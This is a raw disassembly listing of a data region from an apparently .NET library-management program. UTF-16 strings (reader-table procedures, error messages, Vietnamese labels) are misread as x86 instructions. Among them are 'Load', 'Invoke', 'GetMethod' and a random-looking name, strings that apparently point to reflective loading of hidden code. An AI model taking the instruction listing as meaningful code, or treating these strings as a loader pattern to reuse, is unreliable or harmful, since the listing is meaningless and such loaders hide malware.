41768d:	63 00                	arpl   %eax,(%eax)
41768f:	47                   	inc    %edi
417690:	00 69 00             	add    %ch,0x0(%ecx)
417693:	61                   	popa
417694:	00 3a                	add    %bh,(%edx)
417696:	00 3a                	add    %bh,(%edx)
417698:	00 55 00             	add    %dl,0x0(%ebp)
41769b:	70 00                	jo     0x41769d
41769d:	64 00 61 00          	add    %ah,%fs:0x0(%ecx)
4176a1:	74 00                	je     0x4176a3
4176a3:	65 00 3a             	add    %bh,%gs:(%edx)
4176a6:	00 3a                	add    %bh,(%edx)
4176a8:	00 45 00             	add    %al,0x0(%ebp)
4176ab:	72 00                	jb     0x4176ad
4176ad:	72 00                	jb     0x4176af
4176af:	6f                   	outsl  %ds:(%esi),(%dx)
4176b0:	00 72 00             	add    %dh,0x0(%edx)
4176b3:	20 00                	and    %al,(%eax)
4176b5:	6f                   	outsl  %ds:(%esi),(%dx)
4176b6:	00 63 00             	add    %ah,0x0(%ebx)
4176b9:	63 00                	arpl   %eax,(%eax)
4176bb:	75 00                	jne    0x4176bd
4176bd:	72 00                	jb     0x4176bf
4176bf:	65 00 64 00 2e       	add    %ah,%gs:0x2e(%eax,%eax,1)
4176c4:	00 00                	add    %al,(%eax)
4176c6:	33 64 00 62          	xor    0x62(%eax,%eax,1),%esp
4176ca:	00 6f 00             	add    %ch,0x0(%edi)
4176cd:	2e 00 5b 00          	add    %bl,%cs:0x0(%ebx)
4176d1:	70 00                	jo     0x4176d3
4176d3:	72 00                	jb     0x4176d5
4176d5:	5f                   	pop    %edi
4176d6:	00 44 00 4d          	add    %al,0x4d(%eax,%eax,1)
4176da:	00 5f 00             	add    %bl,0x0(%edi)
4176dd:	44                   	inc    %esp
4176de:	00 6f 00             	add    %ch,0x0(%edi)
4176e1:	63 00                	arpl   %eax,(%eax)
4176e3:	47                   	inc    %edi
4176e4:	00 69 00             	add    %ch,0x0(%ecx)
4176e7:	61                   	popa
4176e8:	00 5f 00             	add    %bl,0x0(%edi)
4176eb:	44                   	inc    %esp
4176ec:	00 65 00             	add    %ah,0x0(%ebp)
4176ef:	6c                   	insb   (%dx),%es:(%edi)
4176f0:	00 65 00             	add    %ah,0x0(%ebp)
4176f3:	74 00                	je     0x4176f5
4176f5:	65 00 5d 00          	add    %bl,%gs:0x0(%ebp)
4176f9:	00 49 63             	add    %cl,0x63(%ecx)
4176fc:	00 6c 00 73          	add    %ch,0x73(%eax,%eax,1)
417700:	00 44 00 4d          	add    %al,0x4d(%eax,%eax,1)
417704:	00 5f 00             	add    %bl,0x0(%edi)
417707:	44                   	inc    %esp
417708:	00 6f 00             	add    %ch,0x0(%edi)
41770b:	63 00                	arpl   %eax,(%eax)
41770d:	47                   	inc    %edi
41770e:	00 69 00             	add    %ch,0x0(%ecx)
417711:	61                   	popa
417712:	00 3a                	add    %bh,(%edx)
417714:	00 3a                	add    %bh,(%edx)
417716:	00 44 00 65          	add    %al,0x65(%eax,%eax,1)
41771a:	00 6c 00 65          	add    %ch,0x65(%eax,%eax,1)
41771e:	00 74 00 65          	add    %dh,0x65(%eax,%eax,1)
417722:	00 3a                	add    %bh,(%edx)
417724:	00 3a                	add    %bh,(%edx)
417726:	00 45 00             	add    %al,0x0(%ebp)
417729:	72 00                	jb     0x41772b
41772b:	72 00                	jb     0x41772d
41772d:	6f                   	outsl  %ds:(%esi),(%dx)
41772e:	00 72 00             	add    %dh,0x0(%edx)
417731:	20 00                	and    %al,(%eax)
417733:	6f                   	outsl  %ds:(%esi),(%dx)
417734:	00 63 00             	add    %ah,0x0(%ebx)
417737:	63 00                	arpl   %eax,(%eax)
417739:	75 00                	jne    0x41773b
41773b:	72 00                	jb     0x41773d
41773d:	65 00 64 00 2e       	add    %ah,%gs:0x2e(%eax,%eax,1)
417742:	00 00                	add    %al,(%eax)
417744:	39 64 00 62          	cmp    %esp,0x62(%eax,%eax,1)
417748:	00 6f 00             	add    %ch,0x0(%edi)
41774b:	2e 00 5b 00          	add    %bl,%cs:0x0(%ebx)
41774f:	70 00                	jo     0x417751
417751:	72 00                	jb     0x417753
417753:	5f                   	pop    %edi
417754:	00 44 00 4d          	add    %al,0x4d(%eax,%eax,1)
417758:	00 5f 00             	add    %bl,0x0(%edi)
41775b:	44                   	inc    %esp
41775c:	00 6f 00             	add    %ch,0x0(%edi)
41775f:	63 00                	arpl   %eax,(%eax)
417761:	47                   	inc    %edi
417762:	00 69 00             	add    %ch,0x0(%ecx)
417765:	61                   	popa
417766:	00 5f 00             	add    %bl,0x0(%edi)
417769:	53                   	push   %ebx
41776a:	00 65 00             	add    %ah,0x0(%ebp)
41776d:	6c                   	insb   (%dx),%es:(%edi)
41776e:	00 65 00             	add    %ah,0x0(%ebp)
417771:	63 00                	arpl   %eax,(%eax)
417773:	74 00                	je     0x417775
417775:	4f                   	dec    %edi
417776:	00 6e 00             	add    %ch,0x0(%esi)
417779:	65 00 5d 00          	add    %bl,%gs:0x0(%ebp)
41777d:	00 13                	add    %dl,(%ebx)
41777f:	44                   	inc    %esp
417780:	00 4d 00             	add    %cl,0x0(%ebp)
417783:	5f                   	pop    %edi
417784:	00 44 00 6f          	add    %al,0x6f(%eax,%eax,1)
417788:	00 63 00             	add    %ah,0x0(%ebx)
41778b:	47                   	inc    %edi
41778c:	00 69 00             	add    %ch,0x0(%ecx)
41778f:	61                   	popa
417790:	00 00                	add    %al,(%eax)
417792:	15 54 00 65 00       	adc    $0x650054,%eax
417797:	6e                   	outsb  %ds:(%esi),(%dx)
417798:	00 5f 00             	add    %bl,0x0(%edi)
41779b:	44                   	inc    %esp
41779c:	00 6f 00             	add    %ch,0x0(%edi)
41779f:	63 00                	arpl   %eax,(%eax)
4177a1:	47                   	inc    %edi
4177a2:	00 69 00             	add    %ch,0x0(%ecx)
4177a5:	61                   	popa
4177a6:	00 00                	add    %al,(%eax)
4177a8:	11 47 00             	adc    %eax,0x0(%edi)
4177ab:	69 00 6f 00 69 00    	imul   $0x69006f,(%eax),%eax
4177b1:	54                   	push   %esp
4177b2:	00 69 00             	add    %ch,0x0(%ecx)
4177b5:	6e                   	outsb  %ds:(%esi),(%dx)
4177b6:	00 68 00             	add    %ch,0x0(%eax)
4177b9:	00 0d 44 00 69 00    	add    %cl,0x690044
4177bf:	61                   	popa
4177c0:	00 43 00             	add    %al,0x0(%ebx)
4177c3:	68 00 69 00 00       	push   $0x6900
4177c8:	07                   	pop    %es
4177c9:	53                   	push   %ebx
4177ca:	00 44 00 54          	add    %al,0x54(%eax,%eax,1)
4177ce:	00 00                	add    %al,(%eax)
4177d0:	4f                   	dec    %edi
4177d1:	63 00                	arpl   %eax,(%eax)
4177d3:	6c                   	insb   (%dx),%es:(%edi)
4177d4:	00 73 00             	add    %dh,0x0(%ebx)
4177d7:	44                   	inc    %esp
4177d8:	00 4d 00             	add    %cl,0x0(%ebp)
4177db:	5f                   	pop    %edi
4177dc:	00 44 00 6f          	add    %al,0x6f(%eax,%eax,1)
4177e0:	00 63 00             	add    %ah,0x0(%ebx)
4177e3:	47                   	inc    %edi
4177e4:	00 69 00             	add    %ch,0x0(%ecx)
4177e7:	61                   	popa
4177e8:	00 3a                	add    %bh,(%edx)
4177ea:	00 3a                	add    %bh,(%edx)
4177ec:	00 53 00             	add    %dl,0x0(%ebx)
4177ef:	65 00 6c 00 65       	add    %ch,%gs:0x65(%eax,%eax,1)
4177f4:	00 63 00             	add    %ah,0x0(%ebx)
4177f7:	74 00                	je     0x4177f9
4177f9:	4f                   	dec    %edi
4177fa:	00 6e 00             	add    %ch,0x0(%esi)
4177fd:	65 00 3a             	add    %bh,%gs:(%edx)
417800:	00 3a                	add    %bh,(%edx)
417802:	00 45 00             	add    %al,0x0(%ebp)
417805:	72 00                	jb     0x417807
417807:	72 00                	jb     0x417809
417809:	6f                   	outsl  %ds:(%esi),(%dx)
41780a:	00 72 00             	add    %dh,0x0(%edx)
41780d:	20 00                	and    %al,(%eax)
41780f:	6f                   	outsl  %ds:(%esi),(%dx)
417810:	00 63 00             	add    %ah,0x0(%ebx)
417813:	63 00                	arpl   %eax,(%eax)
417815:	75 00                	jne    0x417817
417817:	72 00                	jb     0x417819
417819:	65 00 64 00 2e       	add    %ah,%gs:0x2e(%eax,%eax,1)
41781e:	00 00                	add    %al,(%eax)
417820:	39 64 00 62          	cmp    %esp,0x62(%eax,%eax,1)
417824:	00 6f 00             	add    %ch,0x0(%edi)
417827:	2e 00 5b 00          	add    %bl,%cs:0x0(%ebx)
41782b:	70 00                	jo     0x41782d
41782d:	72 00                	jb     0x41782f
41782f:	5f                   	pop    %edi
417830:	00 44 00 4d          	add    %al,0x4d(%eax,%eax,1)
417834:	00 5f 00             	add    %bl,0x0(%edi)
417837:	44                   	inc    %esp
417838:	00 6f 00             	add    %ch,0x0(%edi)
41783b:	63 00                	arpl   %eax,(%eax)
41783d:	47                   	inc    %edi
41783e:	00 69 00             	add    %ch,0x0(%ecx)
417841:	61                   	popa
417842:	00 5f 00             	add    %bl,0x0(%edi)
417845:	53                   	push   %ebx
417846:	00 65 00             	add    %ah,0x0(%ebp)
417849:	6c                   	insb   (%dx),%es:(%edi)
41784a:	00 65 00             	add    %ah,0x0(%ebp)
41784d:	63 00                	arpl   %eax,(%eax)
41784f:	74 00                	je     0x417851
417851:	41                   	inc    %ecx
417852:	00 6c 00 6c          	add    %ch,0x6c(%eax,%eax,1)
417856:	00 5d 00             	add    %bl,0x0(%ebp)
417859:	00 4f 63             	add    %cl,0x63(%edi)
41785c:	00 6c 00 73          	add    %ch,0x73(%eax,%eax,1)
417860:	00 44 00 4d          	add    %al,0x4d(%eax,%eax,1)
417864:	00 5f 00             	add    %bl,0x0(%edi)
417867:	44                   	inc    %esp
417868:	00 6f 00             	add    %ch,0x0(%edi)
41786b:	63 00                	arpl   %eax,(%eax)
41786d:	47                   	inc    %edi
41786e:	00 69 00             	add    %ch,0x0(%ecx)
417871:	61                   	popa
417872:	00 3a                	add    %bh,(%edx)
417874:	00 3a                	add    %bh,(%edx)
417876:	00 53 00             	add    %dl,0x0(%ebx)
417879:	65 00 6c 00 65       	add    %ch,%gs:0x65(%eax,%eax,1)
41787e:	00 63 00             	add    %ah,0x0(%ebx)
417881:	74 00                	je     0x417883
417883:	41                   	inc    %ecx
417884:	00 6c 00 6c          	add    %ch,0x6c(%eax,%eax,1)
417888:	00 3a                	add    %bh,(%edx)
41788a:	00 3a                	add    %bh,(%edx)
41788c:	00 45 00             	add    %al,0x0(%ebp)
41788f:	72 00                	jb     0x417891
417891:	72 00                	jb     0x417893
417893:	6f                   	outsl  %ds:(%esi),(%dx)
417894:	00 72 00             	add    %dh,0x0(%edx)
417897:	20 00                	and    %al,(%eax)
417899:	6f                   	outsl  %ds:(%esi),(%dx)
41789a:	00 63 00             	add    %ah,0x0(%ebx)
41789d:	63 00                	arpl   %eax,(%eax)
41789f:	75 00                	jne    0x4178a1
4178a1:	72 00                	jb     0x4178a3
4178a3:	65 00 64 00 2e       	add    %ah,%gs:0x2e(%eax,%eax,1)
4178a8:	00 00                	add    %al,(%eax)
4178aa:	13 69 00             	adc    0x0(%ecx),%ebp
4178ad:	44                   	inc    %esp
4178ae:	00 5f 00             	add    %bl,0x0(%edi)
4178b1:	44                   	inc    %esp
4178b2:	00 6f 00             	add    %ch,0x0(%edi)
4178b5:	63 00                	arpl   %eax,(%eax)
4178b7:	47                   	inc    %edi
4178b8:	00 69 00             	add    %ch,0x0(%ecx)
4178bb:	61                   	popa
4178bc:	00 00                	add    %al,(%eax)
4178be:	2f                   	das
4178bf:	69 00 44 00 5f 00    	imul   $0x5f0044,(%eax),%eax
4178c5:	44                   	inc    %esp
4178c6:	00 6f 00             	add    %ch,0x0(%edi)
4178c9:	63 00                	arpl   %eax,(%eax)
4178cb:	47                   	inc    %edi
4178cc:	00 69 00             	add    %ch,0x0(%ecx)
4178cf:	61                   	popa
4178d0:	00 20                	add    %ah,(%eax)
4178d2:	00 63 00             	add    %ah,0x0(%ebx)
4178d5:	61                   	popa
4178d6:	00 6e 00             	add    %ch,0x0(%esi)
4178d9:	27                   	daa
4178da:	00 74 00 20          	add    %dh,0x20(%eax,%eax,1)
4178de:	00 62 00             	add    %ah,0x0(%edx)
4178e1:	65 00 20             	add    %ah,%gs:(%eax)
4178e4:	00 4e 00             	add    %cl,0x0(%esi)
4178e7:	55                   	push   %ebp
4178e8:	00 4c 00 4c          	add    %cl,0x4c(%eax,%eax,1)
4178ec:	00 01                	add    %al,(%ecx)
4178ee:	35 52 00 72 00       	xor    $0x720052,%eax
4178f3:	65 00 4c 00 75       	add    %cl,%gs:0x75(%eax,%eax,1)
4178f8:	00 63 00             	add    %ah,0x0(%ebx)
4178fb:	6f                   	outsl  %ds:(%esi),(%dx)
4178fc:	00 69 00             	add    %ch,0x0(%ecx)
4178ff:	41                   	inc    %ecx
417900:	00 64 00 69          	add    %ah,0x69(%eax,%eax,1)
417904:	00 42 00             	add    %al,0x0(%edx)
417907:	44                   	inc    %esp
417908:	00 66 00             	add    %ah,0x0(%esi)
41790b:	56                   	push   %esi
41790c:	00 67 00             	add    %ah,0x0(%edi)
41790f:	73 00                	jae    0x417911
417911:	48                   	dec    %eax
417912:	00 7a 00             	add    %bh,0x0(%edx)
417915:	77 00                	ja     0x417917
417917:	43                   	inc    %ebx
417918:	00 48 00             	add    %cl,0x0(%eax)
41791b:	4f                   	dec    %edi
41791c:	00 70 00             	add    %dh,0x0(%eax)
41791f:	77 00                	ja     0x417921
417921:	4f                   	dec    %edi
417922:	00 00                	add    %al,(%eax)
417924:	09 4c 00 6f          	or     %ecx,0x6f(%eax,%eax,1)
417928:	00 61 00             	add    %ah,0x0(%ecx)
41792b:	64 00 00             	add    %al,%fs:(%eax)
41792e:	0d 49 00 6e 00       	or     $0x6e0049,%eax
417933:	76 00                	jbe    0x417935
417935:	6f                   	outsl  %ds:(%esi),(%dx)
417936:	00 6b 00             	add    %ch,0x0(%ebx)
417939:	65 00 00             	add    %al,%gs:(%eax)
41793c:	23 4c 00 69          	and    0x69(%eax,%eax,1),%ecx
417940:	00 62 00             	add    %ah,0x0(%edx)
417943:	72 00                	jb     0x417945
417945:	61                   	popa
417946:	00 72 00             	add    %dh,0x0(%edx)
417949:	79 00                	jns    0x41794b
41794b:	4d                   	dec    %ebp
41794c:	00 61 00             	add    %ah,0x0(%ecx)
41794f:	6e                   	outsb  %ds:(%esi),(%dx)
417950:	00 61 00             	add    %ah,0x0(%ecx)
417953:	67 00 65 00          	add    %ah,0x0(%di)
417957:	6d                   	insl   (%dx),%es:(%edi)
417958:	00 65 00             	add    %ah,0x0(%ebp)
41795b:	6e                   	outsb  %ds:(%esi),(%dx)
41795c:	00 74 00 00          	add    %dh,0x0(%eax,%eax,1)
417960:	13 47 00             	adc    0x0(%edi),%eax
417963:	65 00 74 00 4d       	add    %dh,%gs:0x4d(%eax,%eax,1)
417968:	00 65 00             	add    %ah,0x0(%ebp)
41796b:	74 00                	je     0x41796d
41796d:	68 00 6f 00 64       	push   $0x64006f00
417972:	00 00                	add    %al,(%eax)
417974:	13 4f 00             	adc    0x0(%edi),%ecx
417977:	66 00 66 00          	data16 add %ah,0x0(%esi)
41797b:	69 00 63 00 65 00    	imul   $0x650063,(%eax),%eax
417981:	50                   	push   %eax
417982:	00 72 00             	add    %dh,0x0(%edx)
417985:	6f                   	outsl  %ds:(%esi),(%dx)
417986:	00 00                	add    %al,(%eax)
417988:	0f 47 00             	cmova  (%eax),%eax
41798b:	65 00 74 00 54       	add    %dh,%gs:0x54(%eax,%eax,1)
417990:	00 79 00             	add    %bh,0x0(%ecx)
417993:	70 00                	jo     0x417995
417995:	65 00 00             	add    %al,%gs:(%eax)
417998:	2f                   	das
417999:	4f                   	dec    %edi
41799a:	00 66 00             	add    %ah,0x0(%esi)
41799d:	66 00 69 00          	data16 add %ch,0x0(%ecx)
4179a1:	63 00                	arpl   %eax,(%eax)
4179a3:	65 00 4b 00          	add    %cl,%gs:0x0(%ebx)
4179a7:	69 00 74 00 2e 00    	imul   $0x2e0074,(%eax),%eax
4179ad:	4d                   	dec    %ebp
4179ae:	00 69 00             	add    %ch,0x0(%ecx)
4179b1:	63 00                	arpl   %eax,(%eax)
4179b3:	72 00                	jb     0x4179b5
4179b5:	6f                   	outsl  %ds:(%esi),(%dx)
4179b6:	00 73 00             	add    %dh,0x0(%ebx)
4179b9:	6f                   	outsl  %ds:(%esi),(%dx)
4179ba:	00 66 00             	add    %ah,0x0(%esi)
4179bd:	74 00                	je     0x4179bf
4179bf:	57                   	push   %edi
4179c0:	00 6f 00             	add    %ch,0x0(%edi)
4179c3:	72 00                	jb     0x4179c5
4179c5:	64 00 00             	add    %al,%fs:(%eax)
4179c8:	31 43 00             	xor    %eax,0x0(%ebx)
4179cb:	68 00 b0 01 61       	push   $0x6101b000
4179d0:	00 20                	add    %ah,(%eax)
4179d2:	00 6e 00             	add    %ch,0x0(%esi)
4179d5:	68 00 ad 1e 70       	push   $0x701ead00
4179da:	00 20                	add    %ah,(%eax)
4179dc:	00 74 00 ea          	add    %dh,-0x16(%eax,%eax,1)
4179e0:	00 6e 00             	add    %ch,0x0(%esi)
4179e3:	20 00                	and    %al,(%eax)
4179e5:	11 01                	adc    %eax,(%ecx)